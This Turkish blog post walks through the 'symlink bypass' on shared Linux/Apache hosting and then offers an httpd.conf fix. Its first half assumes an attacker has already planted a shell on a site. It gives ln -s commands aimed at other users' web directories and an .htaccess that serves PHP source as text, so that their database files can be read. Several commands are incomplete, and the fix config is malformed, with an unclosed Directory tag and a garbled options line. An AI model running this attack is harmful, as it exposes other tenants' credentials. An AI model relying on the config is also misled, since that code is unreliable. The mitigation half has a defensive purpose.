Blogda Ara

23 Mart 2017 Perşembe

Symlink Bypass & Açığını Kapatmak - (whois&starter)

Selamün Aleyküm..

Bilindiği üzere linux-apache sunucularda çokca karşılaştığımız symlink açığının nasıl yapıldığı ve nasıl önlem alınacağı üzerine biraz durmak istedim..

Symlink nedir; Bağlı olduğu sunucu içinde sembolik ağ (link) oluşturma sistemidir. Sunucuda var olan bir tane oluşturulmuş symlink ile aynı sunucuda ki bütün sitelerin database dosyalarına erişim yapabilirsiniz. Kısa kodlara göz atalım. Bir siteye symlink shell attığınızı düşünelim ve işlemlere başlayalım;


Dizin Başlatma
KOD:
"ln -s /home/çekmekistediğindizin/public_html/sym.txt"


Httpdocs Çekme;
KOD:
"ln -s /home/çekmekistediğindizin/httpdocs/sym.txt"


Htaccess Oluşturma

KOD:
Options Indexes FollowSymLinks

DirectoryIndex ssssss.htm
AddType txt .php
AddHandler txt .php


Shell ve Ana dizine (Public Html - Home - Sitedocs) .htaccess dosyası atılmaz, atıldığı takdirde siteye erişim kesilir..

.htaccess (sym.txt) dosyasının bulunduğu kısma atılır yada vb. dosyası atıldıktan sonra sayfayı yenilemeniz yeterli olacak ve çektiğiniz bilgiler size yansıyacaktır. Böylece birSymlink Bypass öğrenmiş olduk. Şimdi bu açığı fixleyelim (kapatalım)..

Disable_functions bazı bypass eylemleri sonrasında güvenliğini kaybediyor..

Peki ne yapmak gerekiyor?

Apache - Linux Sistemlerinde Symlink database, conf, configuration, gibi dizinleri bypass halinde sömürebilir. Aşağıda verdiğim kodlarla erişimi engelleyebilirsiniz. Fazlasıyla faydalıdır..

Httpd.conf dosyasına aşağıdaki kodları ekleyin.

PHP:
<Directory "/home/*/public_html"
    
Options -ExecCGI 
    AllowOverride AuthConfig Indexes Limit FileInfo options
=IncludesNOEXEC,Indexes,Includes,MultiViews,SymLinksIfOwnerMatch,FollowSymLinks </Directory>
Kod ekleme işlemi bittikten sonra apache restart yapınız. Yeterli fix işlemi bu kadar ..

4 yorum:

Statics